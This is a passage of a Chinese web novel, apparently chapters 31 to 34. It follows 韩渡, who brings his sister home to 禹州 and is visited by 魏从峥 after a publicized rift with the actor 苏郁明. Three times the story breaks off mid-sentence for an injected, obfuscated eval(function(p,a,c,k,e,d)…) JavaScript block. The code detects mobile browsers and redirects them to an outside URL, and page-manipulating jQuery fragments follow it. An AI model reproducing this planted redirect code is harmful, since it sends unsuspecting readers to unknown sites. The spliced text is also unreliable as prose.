“冤枉啊,”魏从峥笑道,“你都替我挡子弹了,是我的救命恩人,我怎么敢威胁你。”
“那时候情况危机,我不是帮你挡子弹。”韩渡矢口否认,低声道,“以后这件事不要再提。”
“为什么不能提?”魏从峥一脸“受伤”地看着韩渡,“给我挡子弹是什么丢人的事吗?”
“都说了不是——”韩渡顿了顿,改口道,“你如果坚持这么说,就让我接小卉回家。”
魏从峥叹气:“那剩下一个月的合约呢?”
“我会回来履行完。”韩渡回答,随后转身要离开,又被魏从峥从后面喊住,他回头看过去。
“你刚刚说苏郁明很爱我,你错了。”魏从峥看着韩渡的眼睛,“我们再开一局吧,这回要是你输了,就拿着我的聘书去蒲贡上任;如果是我输了,何安的事你放手去做,我给你兜着。”
……
翌日,韩渡从远山疗养院接走韩卉,乘上前往禹州的列车。
列车一路向南,漫天雪景逐渐被冬天的槁色取代,视野里出现一望无际的湖泊和成片的田野。
行程结束前,韩渡为韩卉围上围巾,将一顶兔子样式的毛线帽戴在韩卉头上,柔声道:“快见到爸妈了,高兴吗?”
韩卉黑葡萄一般的瞳仁微转,落在韩渡脸上,轻轻点了点头。
韩渡已经习惯了她不爱说话的模样,在她头上摸了摸:“已经到家了,有些话,可以跟家里人说一说的。”
韩父韩母都是性格朴实的人,退休之后闲不住,合伙经营了一家书店。春节前后,店铺关门休息,二老都待在家里准备年货。
韩卉进了家门便被韩母握住手,韩母上上下下察看她的情况,甚至顾不得跟韩渡说话。
韩渡目光温和地看着母女俩团聚,与韩父站在一边,并未出声打扰。
韩卉的事,二老从韩渡那里已经有所了解,只是韩渡也知之不详,至今,三人仍不清楚当初发生了什么事,是什么导致韩卉性情大变。
“到底是怎么回事啊?”韩母见女儿骨瘦如柴、目光畏缩,见了爸妈也一动不动,不由情绪激动,眼眶湿红。
31.夜访
韩渡在禹州的家里安顿下来,计划等年后再回燕城。
过年几天,他随着父母走亲访友,把原身的亲戚关系摸了个底,同时也不出意外地收到了一些关于催婚或介绍相亲对象的话。
只是父母因为妹妹的事始终愁眉不展,对此态度并不热忱,亲戚们也就没有细聊下去。
晚上,全家人会陪着韩卉去公园散步,与她絮絮叨叨说些家长里短的话。
“这药,能不吃吗?”又一次,韩母看到儿子给女儿准备药丸,试探着问道。
韩渡知她慈母心肠,于是向她转述了医生的话。听完医嘱,韩母站在原地沉默了会,慢慢走过来,拿着药瓶研究了起来。
大约是春节过后两天,一场难得的小熊座流星雨降临,在“流星雨”这个词条登上热搜的同时,另一则娱乐报道热度不断飙升,空降榜首。
#苏郁明与某男子野外露宿疑似情侣
紧接着,由这则新闻引申出的其他词条纷纷占据热搜榜。
#苏郁明的神秘男友
#苏郁明同性恋
#男明星出柜
像素模糊的网图里,苏郁明和一个只有背影的男人在山顶相拥,距离他们不远处摆了一架天文望远镜。
韩渡去过那个地方,知道一般狗仔是跟不过去的,除非是魏从峥特意安排。
纵观所有报道,只有苏郁明的名字反复出现,大大小小的媒体仿佛都忘了还有另一位当事人,对这位魏氏公子的名字缄口不谈。
魏从峥在逼苏郁明表态。
韩渡想起那天在机场的对话,不禁心中一冷。
那时魏从峥说,苏郁明真正爱的只有他自己,包括他的事业、他的人生体验,他因为太用力地抱紧自己,所以已经没有余力去爱别人。
韩渡说,不爱自己的人,更没有能力去爱别人。
魏从峥却说,爱是要付出代价的,他想看看苏郁明愿意为了这份感情付出多少。
与这些娱乐新闻同时出现的,还有魏从峥在个人社交账号发布的一条恋情动态。照片里,两只手十指紧扣,戴着一对流星样式的情侣戒指。这条动态下,许多韩渡认识的或不认识的人都在为他的新恋情贺喜。
韩渡望着这条动态,陷入沉思。
“你好,我要买这本书。”有顾客拿着一本书名为《瞬息万变》的畅销书,来到收银台。
韩渡收起手机,为顾客扫描了一下书后条形码,进行结算。
“你是韩渡吗?”顾客拿回书,却没急着走,而是注视了韩渡一会儿,忽然开口问道。
韩渡疑惑地看他:“你认识我?”
“真是你啊,你不认识我了?我是杨冰呐!”
“杨冰……”韩渡念着这个名字,“不好意思,我记性不太好。”
“害,贵人多忘事。我记得你当年毕业后去了燕城,现在这是回来了?”杨冰是个微胖的青年,小腹微凸,因为长期戴眼镜,眼球也略有突出。
“过年回来,帮家里看会儿店。”韩渡道。
“诶,燕城离禹州太远了。你要是能回来帮韩叔看店也挺好的,这家书店我很喜欢,所以经常过来。”杨冰环视书店,对韩渡说道。
韩渡笑了笑:“那这本书就当多年没见的见面礼了。”
“这怎么好意思呢?”杨冰笑得快找不到眼睛了,“这几天有空吗?我约上一些同学,大家一起吃顿饭,联络联络感情。”
“我最近有点忙——”
“别急着拒绝,”杨冰打断他,“邢师恒也回来了,你们那时候感情多好,难得把你们都凑齐了,这回好歹也要见一面。”
韩渡终究没能推辞成,只好接下这邀请,目送杨冰离开。
接连帮着看了一周的书店,这天,韩渡走出收银台,在书柜间打扫灰尘,蓦然发现橱窗外雨雪霏霏,禹州竟然也下起了雪。
难怪今天的客人少了点,原来是要下雪的缘故。
一通电话打进韩渡手机。
“今晚八点的牡丹奖颁奖典礼,别错过了。”魏从峥在电话那头说道。
韩渡瞥了眼挂在墙上的钟表:“我知道了。”
电话挂断后,韩渡继续打扫柜子,直到快八点时,用手机打开了牡丹奖颁奖典礼直播画面。
镜头在观众席上扫过,随机将名流影星们的上半身投放到舞台大屏幕上,一些平日里不会同框的明星在今晚汇聚一堂,舞台的正中央,主持人饱含激情地说着串场词。
韩渡拿起一本书,一目十行地翻阅着。时间如流水般淌过,视频里的颁奖典礼也进行到最重要的部分。
“现在我宣布,本年度牡丹奖最佳男主角的得主是——苏郁明!”
现场掌声雷动,镜头精准定位在苏郁明激动的脸上,他鞠躬行礼,快步来到颁奖台上。
主持人笑着向他道喜,几句话之后,忽然话锋一转:“关于最近频繁上热搜的事情,咱们郁明有没有什么话,想借着这个机会跟影迷们说一说呢?”
颁奖大厅里顿时静地出奇,所以人都将目光聚集到了苏郁明身上。苏郁明一只手接过话筒,另一只手捧着奖杯,脸上的笑容因为这个问题而显得有些局促。
很快,他整理好表情。
“感谢牡丹奖对我的肯定,感谢各位影迷、观众朋友对我作品的喜爱,出道三年,能获得这样重量级的奖项,我深感荣幸,也倍感惶恐。今后,我一定会用更多、更好的作品回馈大家,不辜负大家对我的期待,也不辜负我自己入行的初衷。”苏郁明将自己的获奖感言娓娓道来,而后停顿了片刻,说道,“一些私生活上的事,不方便在这样庄重的场合说,但我知道,潮水退去之后,只有那些好的作品会被大家记住。”
璀璨的灯光照在他脸上,让他被妆容修饰得完美无瑕的脸显得异常光彩夺目。
苏郁明在掌声的簇拥中走下颁奖台。
韩渡将手里的书阖上。
很好,他要收拾收拾包袱准备去蒲贡上任了。
当天晚上,“苏郁明最佳男主角”和“苏郁明获奖感言”等词条纷纷登上热搜,粉丝欢欣鼓舞,苏郁明的演艺事业眼见已经腾飞。
来到这个世界后,韩渡几乎没怎么留意过娱乐圈的事,也许是出于人们所调侃的“干一行恨一行”的原因,也许是出于别的,他已经志不在此。
后续的事情他没有再关注,帮韩卉弄好药后,韩渡早早就睡下了。
冬夜漫长,偶尔还有几家在放鞭炮,杂乱无序的爆竹声中,韩渡这一觉睡得很沉。
凌晨时分,他的手机忽然响了。
韩渡被铃声震醒,摸过来就要挂掉,只是看清了来电显示后,挂电话的动作一顿,手指微抬,接起了这通电话。
“睡了吗?”
“……魏从峥?”
“是我,我在你家楼下,你要不要下来接我?”魏从峥的声音兴冲冲的。
韩渡过了好一会儿才琢磨过来这句话的意思,什么叫在他家楼下?魏从峥这家伙现在不该待在燕城吗?
“喂?”见韩渡不吱声,对面又说了一遍。
“你开什么玩笑?”韩渡将信将疑。
“你下来看看嘛。”不知道是不是韩渡的错觉,魏从峥这句话好像是在跟他撒娇。
“等着。”他回了一句,裹上外套匆匆出门下楼。
楼下,一道被夜灯拉长的黑色人影正站在雪里,低头划弄地上浅浅的积雪。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13908948|147083||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>听见声音,那人抬起头,对着韩渡扬唇一笑。
韩渡走过去:“你怎么来禹州了?”
“失恋了,燕城待不下去。”魏从峥搓搓手掌心,口中呼出热气,“你家这边也太冷了,快带我去个暖和的地方。”
现在是凌晨一点,哪还有什么地方可以去。韩渡想了想,问他:“去我家吗?”
“太晚了,就不打扰你家人了。”魏从峥道,“走,陪我喝酒去。”
韩渡还在犹豫,魏从峥已经一把拉住他的手:“走吧,看在我失恋的份上。”
十分钟后,两人出现在附近一家地下酒馆。
今夜雪急风大,酒馆的生意比往常清冷一些,舒缓的音乐在空气中游动,挂在墙上的电视播放着嘻嘻哈哈的深夜节目。魏从峥带着韩渡在角落坐下,跟老板要了一桌的酒。
魏从峥先给自己开了一瓶,一口气喝下去一半,又塞给韩渡一瓶。
韩渡拿着酒,没打算动。如果魏从峥喝醉了,总得有人把他抬回去。
魏从峥似乎也没有说话的兴致,闷着头一直喝。很快,桌上的酒就被干掉三分之一。
“你要是胃出血进医院,我可不给你垫医药费。”韩渡道。
魏从峥将酒杯放下,从钱包里拿出一张卡,笑着推到韩渡面前:“那麻烦你送我去VIP病房。”
韩渡将卡推回去:“既然这么放不下,不如再去把他追回来。”
魏从峥看着韩渡:“你怎么知道我放不下?”
“你一副要把自己喝死的样子。”韩渡意有所指地看了眼满是酒瓶的桌面。
“我这是告别过去,庆祝新的开始。”魏从峥笑道。
“你也知道他的职业性质,他既然不愿意公开,你又何必去为难他?”韩渡说出自己的想法,他也带过艺人,知道一个当红男星如果正式出柜,对事业的打击可以说是毁灭性的。“验明真心的方式有很多,你稍微换位思考一下,没必要在这一点上死磕。”
而且,韩渡也有点困惑,原著故事里好像没有这一出剧情。原著里一直不愿意公开恋情的人分明是魏从峥。这是哪里被他这只蝴蝶翅膀扇歪了吗?
“有点道理。”魏从峥的语气却不像是把这些话听进去的样子,“还有吗?”
“有一个故事,你听不听?”
“说说看。”
韩渡看了他一眼,即兴道:“我认识一个朋友,人很优秀,追求他的人很多,他一共谈过三段恋爱。第一段,对象是个医生,工作体面,人也讲究,可是我这个朋友嫌人家工作太忙,没时间陪他,就分手了。”
“第二段,对象是个画家。这回有时间陪他了,他又觉得画家不务实,整天活在自己的世界,脾气古怪,根本没有把他放在第一位。”
魏从峥听着听着,笑了起来。
韩渡继续道:“第三段,他找了个商人。商人总务实吧,还时间自由,可是他又说了,应酬太多,身边男男女女不断,他要求人家砍掉一半的应酬,多在家里陪他,给足他安全感。”
“现在呢?”魏从峥拿起酒杯,边听边喝。
“现在他遇到了第四个,无业,每天都围着他打转,对他言听计从,他终于满意了。”
“他喜欢这种?”魏从峥笑着问。
“是啊,养了只宠物,可不就是围着他打转吗?”
魏从峥眼稍微抬,笑意不及眼底:“拐着弯敲打我呢?”
“哪敢?”韩渡握起酒杯,跟他碰了碰,陪着喝完了一杯,接着道,“有些事就是没法兼得的,感情是很脆弱的东西,经不起折腾。这世上多的是一厢情愿,茫茫人海里,两情相悦有时候真的很难,我是想劝你,好好珍惜每一段感情。”
32.步步紧逼
韩渡不是一个爱说话的人,更不是擅长说话的人,今晚他却说了很多。他劝魏从峥惜取眼前人,教对方该怎么经营一段健康的感情。句句都是发自肺腑的话,不掺半点私欲。
在他说完这个临时编出来的虚构故事后,魏从峥的反应却不在他的预期。
“珍惜每一段感情……”魏从峥可能是有些醉了,将韩渡说的话又重复了一遍。正在韩渡以为他在认真思考这句话时,他却将目光停在韩渡脸上,露出一个极其傲慢的笑:“珍惜的前提是那样东西很珍贵,可是爱我的人太多了,如果每段感情都要我去珍惜,我是慈善家吗?”
韩渡被他说得一愣,只听他道:“我建议你那个‘朋友’把医生的工作辞掉,另外给他找家清闲的单位;切段画家的经济来源,让他灵感断氧。至于商人,那就更好办了,做他的甲方,或者直接收购他的公司。”
韩渡听得眉头越蹙越紧。
魏从峥微微一笑:“养宠物就没必要了,找个没有工作的人,给他安排个工作,前台、助理、小明星,这些都没什么门槛,也不占用太多时间。”
韩渡听不下去了,感觉跟他没法沟通:“人跟人之间的思维方式原来能差别这么大。”
魏从峥止住笑容,指节在玻璃杯上轻叩:“说着逗你的。”
固然里面有夸大的成分,韩渡却知道这个人并不是完全在胡说。这种处理感情的方式,在原著小说里是有迹可循的。
韩渡不由注视着魏从峥,想从他这张淡然的脸上看出些未来“暴虐”的影子。
兴许是他看得太久了,魏从峥原本自斟自饮的动作停了下来,也将目光放在了韩渡脸上。
四目相交的一瞬间,韩渡清楚地听到了自己的心跳声。
魏从峥将酒杯往韩渡面前又推了点,舔了舔嘴唇:“你再不陪我喝,我就要亲自动手了。”
韩渡回过神,一些被魏从峥武力碾压的不好回忆浮现在他脑海,他还真有点担心魏从峥不按常理出牌,动手硬给他灌酒,于是识趣地拿起酒杯,又陪了一杯。
有一有二就有三,之后,韩渡又接连喝下去几杯,慢慢的有些酒精上头。
他看魏从峥的脸开始出行重影,于是推开又送到面前的一杯,摇头道:“我喝不下了。”
“这样的酒量,到了蒲贡可不够看。”魏从峥伸手在韩渡面前晃了晃,“这是几?”
韩渡望着眼前四根手指,给了魏从峥一个无语的眼神,抬手都按了回去:“我要是真喝醉了,咱们俩还怎么回去?”
“我背你?”魏从峥笑道。
韩渡提了提唇角算是回应,转而借着他之前起的话道:“愿赌服输,我可以去蒲贡,只是我得先跟你要个人。”
去不去蒲贡这件事,早在魏从峥第一次跟韩渡提起时,韩渡就在考虑。
这些日子,他也想明白了,他不是这方世界的人,没有故土难离的情感约束,去蒲贡工作在当下看,其实不失为一个好的选择。一个月之后,跟魏从峥的合约结束,到时候与其在燕城找一份普通工作,不如去蒲贡试一试,天地广阔,只要他肯下功夫,施展的空间很大。
即使撇开上述考虑,从个人情感上来说,他最近也有了离开燕城的想法。也许离开燕城,他就能避开一些之后要发生的故事,也能避开眼前这个人。
“你想要谁?”魏从峥问。
“吴传非。”韩渡道,“蒲贡形势复杂,我一个人去独木难支,需要吴助理这样的人才。”
魏从峥笑着说:“狮子大开口。你就直说吧,你真正想要的人是谁?”
韩渡不意外被他一眼看破,直说道:“吴助理不行,王舍呢?”
魏从峥眸光微动:“原来在这儿等着我。”
“以我现在的能力,没有一个军师帮我,去了不是给你丢脸?”
“这话我听着奇怪,”魏从峥笑道,“某人还打算扯我的大旗?”
“这叫仰仗你的威风。”韩渡笑了笑,给出自己的承诺,“既然去了,我一定尽心尽力。”
魏从峥端起酒杯跟韩渡碰了碰:“行,回头王舍找我哭的时候,我就说是你的主意。”
“可以啊。”韩渡跟他碰完杯,放在唇边浅尝了一点,“如果做不出业绩,你也别算在我头上。”
魏从峥把玩着手里的酒杯:“做不出业绩,你就回来继续给我开车。”
从韩渡这个角度看,彩色玻璃制成的酒杯在昏暗的灯光下折射出奇异的光彩,透过玻璃杯,魏从峥漆黑的眼睛也像染上了新的颜色。
韩渡淡笑着摇了摇头,继续喝酒。
“你那位小男朋友呢?”魏从峥忽然聊起了别的。
“他不是我男朋友。”
“床伴?”
韩渡没说话,算是默认。
“没想到你这样的人,也会找床伴。”
“我是什么样的人?”韩渡掀起眼皮看他。
魏从峥支着下巴,思索道:“传统保守,看起来会对对象很好的人。”
“对恋人好不是应该的吗?”韩渡反问了一句,随即笑道,“你好像确实没这个意识。”
“你不能因为我让苏郁明做个选择,就认为我对他不好。”
“你是让他在事业和你之间做选择。”
“选择我之后,他的事业只会更好。”
“事情哪有这么简单。”
“如果是你,你会怎么做?”魏从峥将这个问题抛了过来。
“要看这份感情是不是值得吧。”
“照你这么说,苏郁明他觉得我不值得?”
“我不知道。我不能代表他。”
魏从峥笑了笑,看了两眼手指上佩戴的那枚流星样式的戒指,忽然摘下来,抬手扔进了一旁的酒杯。
戒指一沉到底,在酒水里闪烁着银色的光泽。
“回去吧,别真喝醉了。”魏从峥对韩渡
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13923822|147083||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
说。
他推开凳子,起身向酒馆外走去,把那枚戒指留在了酒杯里。
韩渡跟在他后面走了两步,见他没有要回头的意思,脚步顿了顿,随后转身从酒杯中捞出戒指,将戒指塞进了衣兜,若无其事地追了上去。
外面雪已经停了,一些地方来不及形成积雪,被来来往往的人踩成浅浅的水泊。
路上早已没有其他行人,两人沿着马路往回走,魏从峥在前,韩渡在后。
走了一小段,魏从峥停下脚步,回头等韩渡跟上。
“给你找家酒店。”韩渡走上来,对他说。
“你还要回家?”魏从峥问道。
“失恋的人不需要独处吗?”韩渡看他。
“需要独处我就不会来找你。”魏从峥笑着回道。
“怎么想到要来禹州的?”韩渡突然想问,也这么问了出来。
“想看看某人还打不打算履行赌约。”
韩渡感觉自己白问了这个问题,忍着白眼的冲动:“你赌性太重了,早点戒赌吧。”
魏从峥哈哈笑道:“不戒,跟你赌很有意思。”
“有什么意思?”韩渡感到不能理解。
“你不懂。”魏从峥说着,又长叹道:“等你去了蒲贡,燕城又该无聊了。”
韩渡笑了笑:“没有我也够精彩了。燕城是你们这种人的舞台。”
“我们这种人?”魏从峥听了这话,忽然往前走了两步,目光炯炯地看着韩渡,“你觉得我们不是一类人?”
“不然呢?”抛开路人甲和主角的人物定位不说,就算只看他们的社会地位和性格为人,也明显是差异很大的两类人。
魏从峥紧盯着韩渡,唇边的笑容逐渐变深:“你以为我们为什么能聊得这么投机?我为什么选你做司机、带你去蒲贡?我花这么大力气栽培你,可不是为了得到‘不是一类人’这样的回复。”
眼看魏从峥越靠越近,韩渡不由后退了一步。
魏从峥眼睛一眯,笑道:“就算你表现得跟我们再不一样,骨子里都是一样的,你不渴望财富地位吗?不渴望出人头地吗?还是说你只想抱着你那个丑地出奇的床伴,这样就够了?十年、二十年,也许不用那么久,你注定会加入我们。”
“你以为你很了解我么?”韩渡听着他这些张狂的话,眼里的神情从惊讶逐渐变得坚定。
“我不这么认为。”魏从峥直视着韩渡,“所以我正在了解你。”
韩渡感到好笑:“你是不是没其他事情做了?把心思花在我这个路人甲身上。”
“谁说你是路人甲了?”魏从峥感到意外,“韩渡,你这么自轻的吗?”
韩渡怔住,没想到他会这么说。
“别退了,再退就撞到花坛了。”魏从峥扫了眼韩渡脚后跟,忽然说道。
韩渡回头一看,原来自己不知不觉已经后退了好几步,再过去半个脚掌,就要被花坛台阶绊倒。
33.蓄势待发
两人连夜找了家酒店投宿,因为休息得晚,第二天中午才醒过来。
韩渡醒来时,魏从峥正靠在另一张床上看电视。
电视画面安静地播放着,魏从峥浑身衣服已经穿戴整齐,听见韩渡这边被褥翻动的声音,他扭头看过来:“早饭给你放在桌上了。”
韩渡在桌面上看到了用塑料盒打包的早点,问道:“你出去过一趟了?”他睡得太沉,居然没有听见动静。
“在附近走了一圈。”魏从峥回道。他一向有晨练的习惯,所以起得比较早。
韩渡道了声谢,起身去洗手池边刷牙洗脸。
昨夜发生的事,现在回想起来还是有点不真实。魏从峥凌晨时分出现在了他家楼下,还拉着他一起去酒馆喝酒,两个人乘着酒兴说了些奇怪的话,敲定了去蒲贡的事,然后还在酒店同一间房睡了一晚上。
只是到了酒店也不消停,韩渡本来打算倒头就睡,结果魏从峥非要先去洗澡。说什么那么远赶过来,飞机坐得不舒服,身上肯定都是细菌。韩渡跟他说,酒店床上的细菌只多不少,他可以明天一早再去洗。魏从峥却不愿意。
洗澡的时候,魏从峥也有本事折腾得他没法睡。要么是牙刷牙膏忘在了外面,要么是没带浴巾,韩渡跑了好几趟,最后索性站在了浴室门外,陪着魏从峥洗完。
浴室的毛玻璃门并不能完全阻隔视线,水汽逐渐氤氲翻滚,韩渡望着玻璃上显映的人体轮廓,开始根据动作判断魏从峥洗到了哪一步骤。奇怪的是,他本就对魏从峥有意,又面对着这样旖旎的场景,本该有些冲动,可他内心却只有一种落地般的宁静。
水声渐停,玻璃门打开,魏从峥裹着浴巾走出来。那条面料有些粗硬的白色浴巾将他的下半身遮住,沿着浴巾边缘往上看,刚擦干的皮肤似乎还散发着热气,紧实优雅的肌肉随着走动而微微鼓胀,让魏从峥看起来有种蓄势待发的野性。
两人互相望着对方,狭小的空间里,似乎能听见彼此的呼吸声。直到这时,韩渡才后知后觉地脸一红,趁魏从峥还没开口,先一步转身回到了卧室。
魏从峥走到窗边,把合上的窗帘拉开,外面已经放晴,积雪在阳光下缓缓融化,车马喧嚣声从楼下传进了房间。韩渡握着牙刷看过来,见到这样好的天气,不免心襟大开。
这时,魏从峥向韩渡走过来。
韩渡望着出现在镜子里的魏从峥,用眼神表达了自己的疑问。
魏从峥就这样站着看韩渡洗漱,问他:“今天你有空么?”
韩渡快速刷完牙,一边漱口一边回答他:“我要看店。怎么了?”
“我在这里人生地不熟的,不知道要去哪儿。”
“想去哪里都可以,你还怕走丢吗?”
“你不陪我?”魏从峥五官皱在了一起,对韩渡这样的回答很不满意。
韩渡有种对方在黏他的错觉,不过他说的也是,正常来说,韩渡作为本地人,是该带着他到处看看。
韩渡想了想,还是说:“我抽不开身,你如果觉得没地方去,就先回燕城吧。”
“我刚失恋,你就这么不管我了?”魏从峥脸色一变,开始控诉韩渡。
“你哪里像是失恋的样子。”韩渡用毛巾擦干净脸,望着镜子里像小孩闹脾气一样的魏从峥,不禁失笑,“过来。”
魏从峥听话地走到韩渡面前。韩渡扬起手里的湿毛巾,在他脸上狠狠搓了两圈。魏从峥猝不及防,抓住了韩渡的手腕,想要把他手拿开,却因为没有认真用力,奈何不了韩渡。
韩渡笑着放下毛巾,赶在魏从峥发怒之前说道:“行了,你要是不想一个人,就陪我去看店。”
“什么店这么重要……”魏从峥的脸被搓得发红,有些不忿,听韩渡就这样把自己给安排了,嘴上嘀嘀咕咕的。
韩渡把人带到了书店,他坐在收银台,让魏从峥自己找本书看。
魏从峥就像误入兔子洞的狐狸,左看看右瞧瞧,一架架书柜巡视过去,最后抽出一本书走了出来。
韩渡见他找了个地方坐下,津津有味地翻阅起手上的书,便也没再管他,专心做自己的事。
下午生意不错,陆陆续续有客人来买书,也有几个小朋友待在店里看漫画,韩渡时不时往儿童读物区瞥一眼,看到小孩子们趴在地砖上磨来磨去,只觉得那块区域应该不需要他再去打扫了。
“你很喜欢小孩?”
“没有。”韩渡回答魏从峥,见他手里的书已经阖上,于是问道,“你看的什么书?”
魏从峥狡黠一笑:“你猜。”
“猜不到。”韩渡对猜谜游戏兴致不高。
魏从峥笑着将书递给韩渡,封面上粉扑扑的《女追男速成三十六计》九个大字看得韩渡一囧。韩渡简单翻了翻,发现“围魏救赵”“声东击西”“欲擒故纵”等字眼明晃晃写在了目录上,不用看里面的内容,差不多也能琢磨出一点东西。
“你看这个干嘛?”韩渡实在不敢相信魏从峥居然对这种书感兴趣。
“追男人。”魏从峥三个字说得掷地有声。
“你要去追男人?”
“对。”
“你不如今天就飞回去给苏郁明道歉。”其实魏从峥不用搞这些花里胡哨的,苏郁明就吃他那套,不管他做什么都成。
“谁说我要去追他了?”魏从峥从韩渡手里把书抽回来,“我身边就没有别的男人了吗?”
“……”韩渡面露难色,“你要是想去追荣逸飞,也不是不能试试。”
魏从峥看出来韩渡是故意的了,于是也开始瞎说:“荣逸飞是留给你的,我哪敢染指。”
韩渡笑道:“你要是不去追回苏郁明,正合荣逸飞心意,也不需要我登场献丑了。”
魏从峥倒是看得开:“那就成全他们吧,也让阿飞一偿夙愿。”
“不吃醋?”韩渡看过小说,知道眼前这个人最是小心眼。非要嘴硬说不在乎荣逸飞跟自己竞争,实际上醋缸子不知道打翻过多少次。
魏从峥感叹:“都翻篇了,我总得往前看。”
他真的能撒手放开苏郁明吗?韩渡想起昨晚二人的对话。
魏从峥有意无意的一句话让他蓦然惊醒,他潜意识里还是被原著故事困住了,困在了路人甲的身份里,不相信命运故事能被轻易更改。但只要稍微回顾一下就能发现,早在跟薛子航分手的时候,其实他就已经战胜了原定的轨迹。
只是,好像自从他开始跟魏从峥接触之后,就越来越多地
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13935961|147083||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
感受到力不从心,这种情况在他对主角产生畸思后,就更加一发不可收拾。
韩渡垂下眼睛,没有再去细想。
魏从峥坐回了阅读区,手里依然如获至宝地捧着那本粉红色封皮的《女追男速成三十六计》。
一阵轻风吹过,门口悬挂的风铃响起。
韩渡看过去,只见一个肤色偏黑的健壮青年迈进了店里。他环视一圈,向收银台走来。
他在韩渡面前站定,看分明了之后,嘴一咧,说道:“杨冰说的果然没错,你现在别说不认识他,连我也忘了。”
韩渡见他态度熟络,又听到“杨冰”这个名字,猜道:“邢师恒?”
“嘿,是我。”邢师恒出手在韩渡肩上锤了一下,力度不轻不重,透着亲近。
“好久没见,你变化很大。”韩渡熟练地套用万能句式。
“你变化更大,我都快认不出了。”
韩渡笑道:“怎么找到这里来了?”
“杨冰不是要喊我们聚一场吗?我那天不一定会去,怕你跑空,就来提前见你一面。”邢师恒解释道,又问,“听说你现在在燕城工作?”
韩渡说:“现在是这样,后面可能要走。”
“别啊,燕城挺好的,我也在那边工作,你走了,不就又只剩下我一个人了。”邢师恒露出遗憾的表情。
韩渡笑道:“还有一阵子呢。”
“刚碰上又要分开,你说我们这算什么。”邢师恒唏嘘叹气,随后一拍手掌,“明晚我约了场篮球赛,你来不来?毕业之后,我们已经很久没切磋过了。”
韩渡听他这么说,也有些手痒:“好啊,你把地址发给我。”
“行,那明天不见不散。”邢师恒大喜,跟韩渡交换了联系方式,随后同他告别。
邢师恒走后,韩渡心情见好,找到抹布开始擦拭收银台。
魏从峥跟着走过来:“这么开心?”
韩渡笑了笑:“见到老朋友,当然开心。”
魏从峥哼了一声,不阴不阳地说:“老朋友还是老情人啊。”
韩渡直起身,做样子要把手上的抹布甩在他脸上。
魏从峥懒洋洋地往桌台上一靠,连根手指头都懒得动,嘴巴却不得闲:“看你们聊得起劲,你还记得你要看店吗?刚才好几个客人来找书,还是我接待的。”
“看来我还得给你发工资了。”
“工资免了,篮球赛带上我呗。”
“你会打篮球?”韩渡质疑的眼神看过去。
“这么瞧不起人?”魏从峥绷不住了,“我在你心里到底是什么形象?”
“你不是连自行车都不会骑?”韩渡手里还拿着他的“黑历史”。
“你出门在外都有司机接送,你能会骑自行车?”魏从峥振振有词,“再说了,现在已经学会了。”
“人家约我打球,你去干什么?”韩渡狐疑地看他。
“我也想参加不行吗?你这什么眼神?”
“去也可以,你别添乱。”韩渡想了想,以魏从峥的性格,被拒绝了也能自己跟过去,与其后面跟着条神出鬼没的尾巴,不如把人放在眼皮子底下看着。
“你就放一万个心。”魏从峥眼珠微动,轻笑道。
34.登门拜访
夕阳渐渐西落,最后一批滞留在书店的孩童也打打闹闹地离开了,韩渡将店里的窗户都关好,电闸关掉,出来锁上大门。
魏从峥站在他身后,在寒风中伸了个懒腰。他今天也跟着看了一天的店,几乎没走出去过。
韩渡锁好门,转身对他说:“我送你去酒店。”
“我只订了一晚。”魏从峥却笑着告诉他。
“那你今晚住哪儿?”
“你家啊。”魏从峥说得理所当然。
韩渡看了看他:“我家没有多余的房间。”
“没关系,我可以跟你挤挤。”
“开什么玩笑。”
“没开玩笑,难得来你家乡,总要上门拜访一趟。”魏从峥嬉笑着,“反正我就跟着你,你去哪儿我就去哪儿。”
随着轻轻的叹息,韩渡道:“家里要是问起来,你就说是我在燕城的朋友。”
当韩渡领着魏从峥走进家门时,韩父韩母都疑惑地迎了上来。韩母视线在两人之间来回切换:“好俊的小伙子,小渡啊,是你的朋友吗?”
“是……”韩渡话没说完,就被魏从峥截胡了。魏从峥热切地走上去,握住韩母的手,笑吟吟地自我介绍:“伯母,我是韩渡在燕城认识的好朋友,这次来禹州度假。不好意思啊,这么晚还来打扰您跟伯父。”说着,他将路上买的水果和茶叶往韩母手里塞:“伯母您面相真好,我一见您就觉得亲切,小小礼物,不成敬意。”说完,他又热情地向韩父问好。
“来就来了,还带什么礼物?”韩母笑着跟他推脱了几回,最后一边收下这些东西,一边把魏从峥迎进门。
在魏从峥的有意迎合下,渐渐跟两位长辈聊得有来有往。
韩母道:“小魏啊,我们家这小子,这几天都不着家,非要在外面帮我们看店,回家了也不说话,家里一天到晚死气沉沉的,你来得正好。”
